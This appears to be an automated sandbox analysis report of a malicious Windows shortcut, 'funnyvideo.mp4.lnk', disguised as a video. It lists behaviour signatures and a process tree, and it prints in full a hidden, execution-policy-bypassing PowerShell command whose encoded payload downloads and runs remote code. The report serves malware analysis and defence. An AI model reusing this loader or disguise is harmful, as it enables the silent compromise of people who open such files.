Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/08/2026, 00:09

General

  • Target
    funnyvideo.mp4.lnk
  • Size 3.6MB
  • Sample260818-affn9abl9s
  • SHA256 20f93ada406dd1250f72d62521780c488178967ab817fe3335168ac24f28a593
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\funnyvideo.mp4.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JAB1AHEAaAB1AGoAcwAgAD0AIABbAHMAdAByAGkAbgBnAF0AWwBjAGgAYQByAFsAXQBdACgAMQAwADQALAAxADEANgAsADEAMQA2ACwAMQAxADIALAAxADEANQAsADUAOAAsADQANwAsADQANwAsADEAMQAyACwAOQA3ACwAMQAxADUALAAxADEANgAsADEAMAAxACwAOQA4ACwAMQAwADUALAAxADEAMAAsADQANgAsADkAOQAsADEAMQAxACwAMQAwADkALAA0ADcALAAxADEANAAsADkANwAsADEAMQA5ACwANAA3ACwAOQA5ACwAMQAwADYALAA0ADkALAA3ADcALAA4ADIALAA2ADUALAAxADAANAAsADEAMQAzACkACgAkAHUAcwBwAHUAbgBqACAAPQAgAFsAQQBjAHQAaQB2AGEAdABvAHIAXQA6ADoAQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAWwBUAHkAcABlAF0AOgA6AEcAZQB0AFQAeQBwAGUAKABbAHMAdAByAGkAbgBnAF0AWwBjAGgAYQByAFsAXQBdACgAOAAzACwAMQAyADEALAAxADEANQAsADEAMQA2ACwAMQAwADEALAAxADAAOQAsADQANgAsADcAOAAsADEAMAAxACwAMQAxADYALAA0ADYALAA4ADcALAAxADAAMQAsADkAOAAsADYANwAsADEAMAA4ACwAMQAwADUALAAxADAAMQAsADEAMQAwACwAMQAxADYAKQApACkACgAkAGEAcgB1AHUAZQBzACAAPQAgACQAdQBzAHAAdQBuAGoALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAkAHUAcQBoAHUAagBzACkACgAkAG8AcwBmAG8AbwBpACAAPQAgAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0A
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:936
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5784
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4932

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            memory/936-2-0x00007FF8E343F000-0x00007FF8E3440000-memory.dmp

            memory/936-3-0x000001C4EE200000-0x000001C4EE222000-memory.dmp

            memory/936-6-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

            memory/936-7-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

            memory/936-8-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

            memory/936-9-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

            memory/936-12-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

            memory/936-11-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp